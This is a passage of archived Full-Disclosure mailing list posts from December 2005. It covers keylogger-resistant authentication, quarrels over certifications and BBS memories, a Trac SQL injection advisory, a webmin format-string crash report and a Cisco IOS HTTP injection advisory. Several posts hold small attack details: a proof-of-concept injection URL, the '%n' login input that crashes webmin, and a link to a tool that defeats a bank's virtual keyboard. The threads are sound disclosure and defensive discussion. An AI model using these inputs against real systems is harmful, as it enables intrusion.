feels this way about SANS. > > Fuck SANS. FUCK EM ALL! > > http://dictionary.reference.com/search?q=sans#without > > sans ( P ) Pronunciation Key (snz, s?) > prep. > Without. > > > > -------------------------------------------------------------------------------- > [Middle English, from Old French, blend of Latin sine, without, and > absenti, in the absence of, ablative of absentia, absence from absns, > absent- present participle of abesse, to be away. See absent.] > > On 11/23/05, senator.crabgrass at comcast.net > wrote: > > Maybe it is not what you know but who you know. Best of luck with that > grail thing, finding it is veiled, holding it is easy, keeping it polished > is where the work is. > > > > -- > > vote for me > > > > > > > On 11/23/05, senator.crabgrass at comcast.net > > > wrote: > > > > ... the cert game is nothing more than a lucrative revenue > generator. For > > > either the test givers or the vender pusher or the land of test king. > > > > > > a few respectable names in their roster[1]; i wonder why they don't > > > name the instructor giving each presentation on their conference > > > schedule[2]... > > > > > > i have a theory: the more legitimately skilled you are, the less you > > > instruct and the more you are paid. a nice way to convert reputation > > > into ca$h! > > > > > > [maybe i can get in on this racket once i attain the holy grail of > > > CPA, GCFW, CISSP, CISM, CISA, CCNA, CCSE, CCSA, GIAC, GCIA, GSNA, > > > GCFA, GCIH, GCUX, GSEC, QUE, WTFBBQ] > > > > > > 1. http://www.sans.org/instructors.php > > > 2. http://www.sans.org/index.php > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051201/82a2efc8/attachment.html From davek_throwaway at hotmail.com Thu Dec 1 19:43:30 2005 From: davek_throwaway at hotmail.com (Dave Korn) Date: Thu, 1 Dec 2005 19:43:30 -0000 Subject: [Full-disclosure] Re: Most common keystroke loggers? References: <1133457890.12950.80.camel@localhost> <438F448F.402@thievco.com> Message-ID: Blue Boar wrote in news:438F448F.402 at thievco.com > Shannon Johnston wrote: >> Hi All, >> I'm looking for input on what you all believe the most common keystroke >> loggers are. I've been challenged to write an authentication method (for >> a web site) that can be secure while using a compromised system. > > I don't think that's possible for all compromise situations, given > today's desktop OS software. How about one-time passwords? Just go ahead and *let* them keylog it all they like; by the time they've snarfed a pw, it's no use any more. (See S/Key for more details.) cheers, DaveK -- Can't think of a witty .sigline today.... From gugdias at gmail.com Thu Dec 1 20:08:31 2005 From: gugdias at gmail.com (Gustavo) Date: Thu, 1 Dec 2005 18:08:31 -0200 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: <47ed8a210512011208i17bcbde7l@mail.gmail.com> If you want to provide reliable authentication, given that the user has a keystroke logger installed, you may simply use a visual keyboard written in Java. regards, Gustavo 2005/12/1, Shannon Johnston : > Hi All, > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. > > Thanks, > Shannon > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From Thierry at Zoller.lu Thu Dec 1 20:21:13 2005 From: Thierry at Zoller.lu (Thierry Zoller) Date: Thu, 1 Dec 2005 21:21:13 +0100 Subject: [Full-disclosure] Re: Most common keystroke loggers? In-Reply-To: References: <1133457890.12950.80.camel@localhost> <438F448F.402@thievco.com> Message-ID: <12110056157.20051201212113@Zoller.lu> Dear Dave Korn, DK> How about one-time passwords? Just go ahead and *let* them keylog it all DK> they like; by the time they've snarfed a pw, it's no use any more. (See DK> S/Key for more details.) ITAN I hear you scream. Oh yes.. keylogger fakes that the OTP is not accepted, user enters a new one. Thief has a working OTP. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 From mail at hackingspirits.com Thu Dec 1 20:23:09 2005 From: mail at hackingspirits.com (Debasis Mohanty) Date: Fri, 2 Dec 2005 01:53:09 +0530 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <438F448F.402@thievco.com> Message-ID: <20051201202313.1E34AC31@lists.grok.org.uk> -----Original Message----- From: Blue Boar Sent: Friday, December 02, 2005 12:15 AM To: sjohnston at cavionplus.com Cc: full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] Most common keystroke loggers? Shannon Johnston wrote: > Hi All, > I'm looking for input on what you all believe the most common > keystroke loggers are. I've been challenged to write an authentication > method (for a web site) that can be secure while using a compromised system. >> If, for some reason, you only care about the case where a "keylogger" is installed, >> then you can go with some scheme like making the user pick numbers of a randomly-scrambled >> keypad on the screen, with the mouse. "Security" and "randomly-scrambled online keypad" are mutually exclusive ;-) >> Note, however, that "keyloggers" that grab some portion of the screen surrounding the >> mouse pointer every time you click have already been observed in the wild. They are >> designed to specifically defeat this kind of mechanism. I posted a similar but yet an effective way of snatching the user credentials directly from the input boxes while the user key'n them in a pre-compromised box. The method shown is bit effective compared to the screenshot grabbers in the sense that it directly get the clear text and the ***** text from the inputbox directly and donsn't save it until the user submit the form. The PoC (defeat-citibank-vk.zip) was created to defeat the virtual keyboard concept of Citi-Bank used world wide. It can be downloaded from the following link - http://www.hackingspirits.com/vuln-rnd/vuln-rnd.html . Presently, the PoC wont work as CitiBank has made little changes in its site after the release of the PoC. - D From infosecbofh at gmail.com Thu Dec 1 20:14:32 2005 From: infosecbofh at gmail.com (InfoSecBOFH) Date: Thu, 1 Dec 2005 12:14:32 -0800 Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: References: <112420050024.28438.4385084D0006686500006F1622073000339C9C0E9D090D0E9D0CD29D019B0E020A9C@comcast.net> <2be58a30511240143x745de181g3a31e79528b60e52@mail.gmail.com> Message-ID: <2be58a30512011214y7883acd2t2ac1aaf536bae126@mail.gmail.com> On 12/1/05, Christian kopacsi wrote: > InfoSecBOFH, > Show me on the doll where they touched you. You should see a therapist to > get a grip on all your issues. And why would you talk shit about Clement? > He has done so much for the Infosec community. Now that is a great response. Done so much for the infosec community... yeah like SANS has. From toddtowles at brookshires.com Thu Dec 1 20:32:03 2005 From: toddtowles at brookshires.com (Todd Towles) Date: Thu, 1 Dec 2005 14:32:03 -0600 Subject: [Full-disclosure] Re: Most common keystroke loggers? Message-ID: <9E97F0997FB84D42B221B9FB203EFA2701DA4B41@dc1ms2.msad.brookshires.net> If the user is passed to a phishing site that ask for the OTP, the user enters it, the phishing site can return a error and instruct the user to use the next OTP password, hence giving the attacker any number of OTP....the OTP ones that are list based anyways. > -----Original Message----- > From: full-disclosure-bounces at lists.grok.org.uk > [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf > Of Thierry Zoller > Sent: Thursday, December 01, 2005 2:21 PM > To: Dave Korn > Cc: full-disclosure at lists.grok.org.uk > Subject: Re: [Full-disclosure] Re: Most common keystroke loggers? > > Dear Dave Korn, > > DK> How about one-time passwords? Just go ahead and *let* > them keylog > DK> it all they like; by the time they've snarfed a pw, it's > no use any > DK> more. (See S/Key for more details.) > ITAN I hear you scream. Oh yes.. keylogger fakes that the OTP > is not accepted, user enters a new one. Thief has a working OTP. > > -- > http://secdev.zoller.lu > Thierry Zoller > Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From gat0r at toughguy.net Thu Dec 1 20:35:57 2005 From: gat0r at toughguy.net (gat0r) Date: Thu, 01 Dec 2005 21:35:57 +0100 Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: <2be58a30512011214y7883acd2t2ac1aaf536bae126@mail.gmail.com> Message-ID: Hello pot...this is kettle....jeeeeeessh! On 12/1/05 9:14 PM, "InfoSecBOFH" wrote: > On 12/1/05, Christian kopacsi wrote: >> InfoSecBOFH, >> Show me on the doll where they touched you. You should see a therapist to >> get a grip on all your issues. And why would you talk shit about Clement? >> He has done so much for the Infosec community. > > Now that is a great response. Done so much for the infosec > community... yeah like SANS has. > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ From bkfsec at sdf.lonestar.org Thu Dec 1 20:42:00 2005 From: bkfsec at sdf.lonestar.org (bkfsec) Date: Thu, 01 Dec 2005 15:42:00 -0500 Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: References: Message-ID: <438F6018.6080201@sdf.lonestar.org> Josh Perrymon wrote: >WildCAT BBS Anyone???? :) > >I remember playing tradewars and calling who knows where to get new text >files :) > >Used Tone-loC a lot more back then :) > > > And Renegade, WWIV, MajorBBS + clones... Those were the days. I remember Tradewars, but I was more of a BRE fan myself. L.O.R.D. was good for a laugh. Heh. Satan and l0pht releases as well as quota-based download queues which required equal uploads to be able to get anything. I have to say, the best way to get an education in hacking is to actually set up a private network and start banging on things. I think that actual experience is worth so much more than degrees or reading text files. The bottom feeder script kiddies couldn't hold a candle to what we were doing those days. -bkfsec From bkfsec at sdf.lonestar.org Thu Dec 1 20:44:07 2005 From: bkfsec at sdf.lonestar.org (bkfsec) Date: Thu, 01 Dec 2005 15:44:07 -0500 Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: <78744869705CEF41A32C103C5C04F2200163A824@phxexc1.dswa.net> References: <78744869705CEF41A32C103C5C04F2200163A824@phxexc1.dswa.net> Message-ID: <438F6097.60108@sdf.lonestar.org> Christopher Carpenter wrote: >Yeah, and if you didn't register V-X after like 90 days, it formatted >your hard drive. > >Imagine if an application tried that today. > > > They'd defend their position as a DRM strategy and after a long battle would finally recall their products, only leaving them on store shelves? (I'm not claiming that XCP does that, rather I'm making a point about malicious code in products.) -bkfsec From perrymonj at networkarmor.com Thu Dec 1 20:58:58 2005 From: perrymonj at networkarmor.com (Josh Perrymon) Date: Thu, 1 Dec 2005 14:58:58 -0600 Subject: [Full-disclosure] Hacking Boot camps! Message-ID: Very True.. The BBS and door game back in the days kept me interested to learn and luckily I get to down security full time now... it's just fun.. ( mostly ) I remember back when we where all playing doom on 9600 modems and hacking around with the USR robotic connection strings.. I really enjoyed that. It sparked a pure interest in learning about those damn computers :) I learned my first hack setting up the same software and door games as the BBS had at home and learning what files did what and where the configs where :) Not trying to get into some old skool kick or anything( I'm not even 30 yet ) I just got lucky enough to do something I really enjoy. JP ANSI IS STILL COOL -----Original Message----- From: bkfsec [mailto:bkfsec at sdf.lonestar.org] Sent: Thursday, December 01, 2005 3:42 PM To: Josh Perrymon Cc: xyberpix; wilder_jeff Wilder; full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] Hacking Boot camps! Josh Perrymon wrote: >WildCAT BBS Anyone???? :) > >I remember playing tradewars and calling who knows where to get new text >files :) > >Used Tone-loC a lot more back then :) > > > And Renegade, WWIV, MajorBBS + clones... Those were the days. I remember Tradewars, but I was more of a BRE fan myself. L.O.R.D. was good for a laugh. Heh. Satan and l0pht releases as well as quota-based download queues which required equal uploads to be able to get anything. I have to say, the best way to get an education in hacking is to actually set up a private network and start banging on things. I think that actual experience is worth so much more than degrees or reading text files. The bottom feeder script kiddies couldn't hold a candle to what we were doing those days. -bkfsec From dave at immunitysec.com Thu Dec 1 21:10:33 2005 From: dave at immunitysec.com (Dave Aitel) Date: Thu, 01 Dec 2005 16:10:33 -0500 Subject: [Full-disclosure] re: webmin remote format string bug In-Reply-To: References: Message-ID: <438F66C9.5030308@immunitysec.com> This is exploitable - Immunity has a PoC exploit in our Partner's section written by Bas Alberts. Thanks, Dave Aitel Immunity, Inc. craig at freenet.de wrote: > Hello! > I succeeded in crashing webmin 1.230 with: > > username %n > password aaaa > > after klicking 4 times on "Login" webmin was dead. > There were no logs at all, and no error was shown in the web interface... > Any idea if it's really exploitable (executing code I mean)? Is anyone working on a POC? > > giarc at freeet.de > > > > > > From michael.holstein at csuohio.edu Thu Dec 1 21:26:05 2005 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Thu, 01 Dec 2005 16:26:05 -0500 Subject: [Full-disclosure] Re: Most common keystroke loggers? In-Reply-To: <9E97F0997FB84D42B221B9FB203EFA2701DA4B41@dc1ms2.msad.brookshires.net> References: <9E97F0997FB84D42B221B9FB203EFA2701DA4B41@dc1ms2.msad.brookshires.net> Message-ID: <438F6A6D.3070306@csuohio.edu> > If the user is passed to a phishing site that ask for the OTP, the user > enters it, the phishing site can return a error and instruct the user to > use the next OTP password, hence giving the attacker any number of > OTP....the OTP ones that are list based anyways. Social Darwinism : Try to make something idiot-proof, nature will provide you with a better idiot. From michael.holstein at csuohio.edu Thu Dec 1 21:27:07 2005 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Thu, 01 Dec 2005 16:27:07 -0500 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <47ed8a210512011208i17bcbde7l@mail.gmail.com> References: <1133457890.12950.80.camel@localhost> <47ed8a210512011208i17bcbde7l@mail.gmail.com> Message-ID: <438F6AAB.1000307@csuohio.edu> > If you want to provide reliable authentication, given that the user > has a keystroke logger installed, you may simply use a visual keyboard > written in Java. Banks have already started doing this .. and phishers have responded with framegrabbing loggers. ~Mike. From david.maciejak at kyxar.fr Thu Dec 1 21:52:01 2005 From: david.maciejak at kyxar.fr (David Maciejak) Date: Thu, 1 Dec 2005 22:52:01 +0100 Subject: [Full-disclosure] Edgewall Trac SQL Injection Vulnerability Message-ID: <1133473921.438f7081d6f41@webmail.kyxar.fr> Edgewall Trac SQL Injection Vulnerability Trac is an enhanced wiki and issue tracking system for software development project. It provides an interface to Subversion. More information on http://projects.edgewall.com/trac/ Description: Malicious user can conduct SQL injection in ticket query module because supplied 'group' URI data passed to the query script is not properly sanitized. PoC: http://host/trac/query?group=/* Vulnerable version: Version tested is 0.9 Maybe 0.9 betas are also vulnerable Solution: Upgrade to version 0.9.1 http://projects.edgewall.com/trac/wiki/TracDownload Thanks for the quick fix of the Trac Team ! David Maciejak -------------------------------------------------------------------------------- KYXAR.FR - Mail envoy? depuis http://webmail.kyxar.fr From adf at code511.com Thu Dec 1 22:26:28 2005 From: adf at code511.com (deepquest) Date: Thu, 1 Dec 2005 23:26:28 +0100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <20051201180457.GC9386@foofus.net> References: <1133457890.12950.80.camel@localhost> <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> <20051201180457.GC9386@foofus.net> Message-ID: To me the only thing that can defeat keystroke is what a software or trojan can not do: See (OCR is just a partial application of guess but not applicable in that case) Imagine a web page with a virtual keyboard page (clickable). In order to prevent the localisation on the keys mapping based on position of the mouse, display the keyboard on random location of the screen. Add a random password and challenge authentication process. my 2 cents, Deepquest "Justification of windows usage is a combinaison of Stockholm Syndrome and cognitive dissonance." -------------------------------------------------------------- Propaganda http://deepquest.code511.com/blog FIB http://www.futureisbeta.com PGP DH/DSS http://www.futureisbeta.com/pgp -------------------------------------------------------------- From nick at virus-l.demon.co.uk Thu Dec 1 22:33:09 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 11:33:09 +1300 Subject: [Full-disclosure] Re: Most common keystroke loggers? In-Reply-To: Message-ID: <439030F5.31961.2C5AC6B8@gmail.com> Dave Korn wrote: > How about one-time passwords? Just go ahead and *let* them keylog it all > they like; by the time they've snarfed a pw, it's no use any more. (See > S/Key for more details.) Ignoring the silliness of pre-printed lists of of OTP (such as some European banking systems' TANs) and the ease of extracting a few from gullible users, even dynamically generated OTPs are still vulnerable to man-in-the-middling _if_ the bad guy has code running on the device by which the user interacts with whatever service the OP is hoping to "protect". I know the OP said "keylogger compromised", but if the machine _is_ compromised (and you can't tell from your remote web server) as the folk running the server you have no control over how it was compromised, so that is a chronically arbitrary condition (which suggests to me that the OP doesn't understand his actual problem set). Regards, Nick FitzGerald From nick at virus-l.demon.co.uk Thu Dec 1 22:33:09 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 11:33:09 +1300 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <47ed8a210512011208i17bcbde7l@mail.gmail.com> References: <1133457890.12950.80.camel@localhost> Message-ID: <439030F5.16919.2C5AC7D0@gmail.com> Gustavo wrote: > If you want to provide reliable authentication, given that the user > has a keystroke logger installed, you may simply use a visual keyboard > written in Java. Dude -- you really are out of your depth here... Barclays (and other UK banks?) were doing this in the late 90s. Within months keyloggers that took screenshots of a small area around the mouse pointer hot-spot were being found. Some South American banks currently under massive identity theft/keylogging "attack" (like Banco Brasil) apparently don't talk to others in the banking industry, as some have recently started using such "on-screen keyboards" to "defeat" the keylogging attackers that hound their customers. Within a very short time period we saw some of those keyloggers adapt by adding screenshot-grabbing of a small area around the mouse point hot-spot. Seems they talked with uninformed "security consultants" rather than folk who know how systems work, what malware is, what it can do that it may not be doing today and, in this case, what has already been tried and trivially beaten... If you don't understand that all the I/O on the "compromised" machine (for the types of machine we are talking about) can be intercepted, you shouldn't be trying to answer the OP's question (and if the OP understood that, he would not have asked as he would have realized he was aiming at doing the impossible). Regards, Nick FitzGerald From nick at virus-l.demon.co.uk Thu Dec 1 22:33:10 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 11:33:10 +1300 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <438F3839.2070606@oneiria.co.uk> References: <1133457890.12950.80.camel@localhost> Message-ID: <439030F6.22102.2C5AC99D@gmail.com> David Harker wrote: > It may be easier and safer to require the user to follow onscreen > instructions for character substitution into their password than attempt > to defeat many individual bits of software. Since it's online, a munged > dynamic image could be used to supply the instructions quite easily... > just a thought. Any idea how trivially _and cheaply_ such systems are man-in-the- middled? OK -- so the OP said compromised with a keylogger, but face it -- if the machine is compromised you have NO idea from the remote web server _what_ is running on the machine, so it could be a MitM agent shuffling all your traffic off somewhere else and sending the appropriate responses back and forward between your server the real user and whoever else is needed to crack the puzzle. There are (reputedly -- I've not actually tried to find one for my own use) call-centres in India (?) that will "crack" captchas ("visually garbled while still being humanly readable but (hopefully) not machine- readable/OCR'able images") and the like in real time for a few pennies (or less) per "crack". And, if there aren't and what the OP is trying to "protect" is valuable enough, the bad guys wanting access to it can certainly setup something of their own along those lines for the duration of their attack. Depending on exactly what you mean (it's not entirely clear to me) it may just be sufficient to record the keystrokes _and_ a screenhot so the theif can later reverse the substitution cypher (if that's what you mean by "require the user to follow onscreen instructions for character substitution into their password"). And, finally, asking the user to be the encryption implementation is going to be very slow and error-prone -- not at all usable... Regards, Nick FitzGerald From adf at code511.com Thu Dec 1 22:35:07 2005 From: adf at code511.com (deepquest) Date: Thu, 1 Dec 2005 23:35:07 +0100 Subject: Fwd: [HWU-83468]: Re: [Full-disclosure] Most common keystroke loggers? References: Message-ID: <8809E02F-425A-4497-A53D-F3AA5DCB63D7@code511.com> Spamo-Squaters on FD list? Nice auto-reply. We should do a hall shame for those! -D D?but du message r?exp?di? : > De : "4Daily.com Hotline" > Date : 1 d?cembre 2005 23:28:02 HNEC > ? : adf at code511.com > Objet : [HWU-83468]: Re: [Full-disclosure] Most common keystroke > loggers? > > ====== Please reply above this line ====== > > deepquest, > > Your ticket has been submitted to our Hotline department, one of > the staff members will review it and reply accordingly. Listed > below are details of this ticket, you will need to use the ticket > key listed below to update the status of this ticket from web. > > Ticket ID: HWU-83468 > Ticket Key: 9527a44c > Subject: Re: [Full-disclosure] Most common keystroke loggers? > Department: Hotline > > You can check the status or reply to this ticket online at http:// > 4daily.com/help/index.php? > _a=tickets&_m=viewmain&emailre=adf at code511.com&ticketkeyre=9527a44c&_i > =HWU-83468 > > There were some possible answers to this ticket in our > knowledgebase, they are listed below: > Why do I get logged out? > http://4daily.com/help/index.php? > _a=knowledgebase&_j=questiondetails&_i=11&ticketid2=HWU-83468&ticketke > y2=9527a44c&doclose=1 > > A simple step-by-step strategy > http://4daily.com/help/index.php? > _a=knowledgebase&_j=questiondetails&_i=32&ticketid2=HWU-83468&ticketke > y2=9527a44c&doclose=1 > > How do I get paid? > http://4daily.com/help/index.php? > _a=knowledgebase&_j=questiondetails&_i=18&ticketid2=HWU-83468&ticketke > y2=9527a44c&doclose=1 > > > > Please let us know if we can assist you any further, > > 4Daily.com > > > From lyal.collins at key2it.com.au Thu Dec 1 22:41:55 2005 From: lyal.collins at key2it.com.au (Lyal Collins) Date: Fri, 2 Dec 2005 09:41:55 +1100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: Message-ID: <006b01c5f6c8$6ea4bfb0$6600a8c0@kpllaptop> In 1996, this virtual keypad concept was broken by taking 10x10 pixel images under the cursor click, showing the number/letters used in that password. Virtual keypads are just a minor change of tactics, not a long term resolution to this risk, imho. Lyal -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of deepquest Sent: Friday, 2 December 2005 9:26 AM To: foofus at foofus.net Cc: Full-Disclosure Subject: Re: [Full-disclosure] Most common keystroke loggers? To me the only thing that can defeat keystroke is what a software or trojan can not do: See (OCR is just a partial application of guess but not applicable in that case) Imagine a web page with a virtual keyboard page (clickable). In order to prevent the localisation on the keys mapping based on position of the mouse, display the keyboard on random location of the screen. Add a random password and challenge authentication process. my 2 cents, Deepquest "Justification of windows usage is a combinaison of Stockholm Syndrome and cognitive dissonance." -------------------------------------------------------------- Propaganda http://deepquest.code511.com/blog FIB http://www.futureisbeta.com PGP DH/DSS http://www.futureisbeta.com/pgp -------------------------------------------------------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From adf at code511.com Thu Dec 1 22:43:53 2005 From: adf at code511.com (deepquest) Date: Thu, 1 Dec 2005 23:43:53 +0100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <006b01c5f6c8$6ea4bfb0$6600a8c0@kpllaptop> References: <006b01c5f6c8$6ea4bfb0$6600a8c0@kpllaptop> Message-ID: > In 1996, this virtual keypad concept was broken by taking 10x10 > pixel images > under the cursor click, showing the number/letters used in that > password. > > Virtual keypads are just a minor change of tactics, not a long term > resolution to this risk, imho. I agree but what about the second random password and challenge authentification? Both should be unique and usage once. -D From very at unprivate.com Thu Dec 1 22:47:32 2005 From: very at unprivate.com (php0t) Date: Thu, 1 Dec 2005 23:47:32 +0100 Subject: [Full-disclosure] Most common keystroke loggers? References: <006b01c5f6c8$6ea4bfb0$6600a8c0@kpllaptop> Message-ID: <009301c5f6c9$371f6170$0200a8c0@DORKA> How'bout adding direct printing on lpt of new one-time usage passwords? :) In order to get the passwords, they'd have to hook the printing, too. Not too common, yet. > I agree but what about the second random password and challenge > authentification? Both should be unique and usage once. From nick at virus-l.demon.co.uk Thu Dec 1 23:01:14 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 12:01:14 +1300 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: References: <20051201180457.GC9386@foofus.net> Message-ID: <4390378A.8503.2C747DDB@gmail.com> deepquest wrote: > To me the only thing that can defeat keystroke is what a software or > trojan can not do: See (OCR is just a partial application of guess > but not applicable in that case) Then you are so far inside the box you cannot see the walls... The OP said "keystroke logger" BUT he also said "compromised". If the machine is compromised you cannot limit yourself to "keylogging" as a compromised machine may be running _anything_ (including something not yet written, as we are talking about a hypothetical future situation, so the OP limiting the original question to "the most common keylogger" is further evidence that the OP does not understand the actual problem set he has been posed). > Imagine a web page with a virtual keyboard page (clickable). In order > to prevent the localisation on the keys mapping based on position of > the mouse, display the keyboard on random location of the screen. ... Trivially, and already long ago, overcome by screen-shot keyloggers. > ... Add > a random password and challenge authentication process. Why? This adds nothing but annoyance to the user, thus reducing usability. If you're going to move to OTP, why _also_ move to an onscreen keyboard? It's almost like you believe that taking two unrelated approaches that indivdually make no improvement whatsoever will suddenly make some real improvement when combined. A hint -- zero plus zero equals ?????? As already explained ad nauseum to the other na?ve "use OTP", if you do not do something "out of band" _relative to any and all possible "bad code" that could be running on a compromised machine_, you have lost. To achieve that requires a second, "secure" piece of _hardware_ that simply uses the network connection through the compromised machine to communicate in a crptographically secure way with the server. The OP made no mention of designing hardware > my 2 cents, If that's really what the above "advice" is worth, inflation must be _really bad_ where you are! Regards, Nick FitzGerald From psirt at cisco.com Thu Dec 1 22:43:52 2005 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Thu, 01 Dec 2005 17:43:52 -0500 Subject: [Full-disclosure] Cisco Security Advisory: IOS HTTP Server Command Injection Vulnerability Message-ID: <200512011745.httpinjection@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: IOS HTTP Server Command Injection Vulnerability ======================================================================== Document ID: 68322 Advisory ID: cisco-sa-20051201-http http://www.cisco.com/warp/public/707/cisco-sa-20051201-http.shtml Revision 1.0 For Public Release 2005 December 01 2100 UTC (GMT) - ----------------------------------------------------------------------- Contents ======== Summary Affected Products Details Impact Software Versions and Fixes Workarounds Obtaining Fixed Software Exploitation and Public Announcements Status of This Notice: INTERIM Distribution Revision History Cisco Security Procedures - ----------------------------------------------------------------------- Summary ======= A vulnerability exists in the IOS HTTP server in which HTML code inserted into dynamically generated output, such as the output from a "show buffers" command, will be passed to the browser requesting the page. This HTML code could be interpreted by the client browser and potentially execute malicious commands against the device or other possible cross-site scripting attacks. Successful exploitation of this vulnerability requires that a user browse a page containing dynamic content in which HTML commands have been injected. Cisco will be making free software available to address this vulnerability for affected customers. There are workarounds available to mitigate the effects of the vulnerability. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20051201-http.shtml. Affected Products ================= This security advisory applies to all Cisco products that run Cisco IOS Software versions 11.0 through 12.4 with the HTTP server enabled. A system which contains the IOS HTTP server or HTTP secure server, but does not have it enabled, is not affected. To determine if the HTTP server is running on your device, issue the "show ip http server status" and "show ip http server secure status" commands at the prompt and look for output similar to: Router>show ip http server status HTTP server status: Enabled If the device is not running the HTTP server, you should see output similar to: Router>show ip http server status HTTP server status: Disabled Any version of Cisco IOS prior to the versions which will be listed in the Fixed Software section below may be vulnerable. Cisco IOS XR is not affected. To determine the software running on a Cisco product, log in to the device and issue the "show version" command to display the system banner. Cisco IOS Software will identify itself as "Internetwork Operating System Software" or simply "IOS". On the next line of output, the image name will be displayed between parentheses, followed by "Version" and the IOS release name. Other Cisco devices will not have the "show version" command or will give different output. The following example identifies a Cisco product running IOS release 12.3(6) with an installed image name of C3640-I-M: Cisco Internetwork Operating System Software IOS (tm) 3600 Software (C3640-I-M), Version 12.3(6), RELEASE SOFTWARE (fc3) The next example shows a product running IOS release 12.3(11)T3 with an image name of C3845-ADVIPSERVICESK9-M: Cisco IOS Software, 3800 Software (C3845-ADVIPSERVICESK9-M), Version 12.3(11)T3, RELEASE SOFTWARE (fc4) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by Cisco Systems, Inc. Additional information about Cisco IOS release naming can be found at http://www.cisco.com/warp/public/620/1.html. No other Cisco products are currently known to be affected by the vulnerability addressed in this advisory. Details ======= The Cisco IOS Web browser interface (which enables the device to perform as an HTTP server) allows configuration and monitoring of a router or access server using any web browser. This feature was introduced in IOS 11.0. A vulnerability exists in the IOS HTTP server in which HTML code inserted into dynamically generated output, such as the output from a "show buffers" command, will be passed to the browser requesting the page. This HTML code could be interpreted by the browser and potentially execute malicious commands against the device or other possible cross-site scripting attacks. In order to be vulnerable to the cross-site scripting attack, a user must browse and view the content during the same period of time the injected code exists in memory. On the other hand, if a user does not browse contaminated dynamic content on the device, then exploitation is not possible. A proof of concept exploit exists for this vulnerability, in which the exploit attempts to reset the enable password on the device. For the attack to work against the device itself, the user browsing tainted dynamic content on the router will only be able to execute commands at or below the privilege level for which they are authenticated and authorized for on the device. This vulnerability is documented in Cisco Bug ID CSCsc64976. Impact ====== Successful exploitation of the vulnerability may result in an attacker executing commands on the device, including the possibility of gaining full administrative privileges on the device which is dependent on the privilege level of the authenticated user. Software Versions and Fixes =========================== No software fixes are currently available. This section will be updated regularly as soon as software fixes are available. Workarounds =========== Disable the HTTP server +---------------------- If the HTTP server is not used for any legitimate purposes on the device, it is a best practice to disable it by issuing the following commands in configure mode: no ip http server no ip http secure-server Disable the HTTP WEB_EXEC service +-------------------------------- A feature was introduced in 12.3(14)T and later in which selective HTTP and HTTPS services could be enabled or disabled. Two typical services are WEB_EXEC and the IOS Certificate Server (SCEP). The WEB_EXEC service provides a facility to configure the box and retrieve current state of the box from remote clients. The IOS Certificate Server service provides a facility wherein remote clients can enroll and obtain Crypto Certificates. It is possible to disable the WEB_EXEC service while still leaving SCEP running to serve Certificates. If an installation requires the use of the SCEP service, the WEB_EXEC service may be disabled via the commands in configure mode: no ip http active-session-modules WEB_EXEC no ip http secure-active-session-modules WEB_EXEC Avoid the use of Web-based SHOW commands +--------------------------------------- Successful exploitation of this vulnerability requires an unsuspecting user to request dynamic content from the device via the "show" commands which are available. Avoiding the use of those commands via the web interface until an upgrade to fixed software is possible may be perfectly legitimate for some installations. Obtaining Fixed Software ======================== Cisco will make free software available to address this vulnerability for affected customers. This advisory will be updated as fixed software becomes available. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at 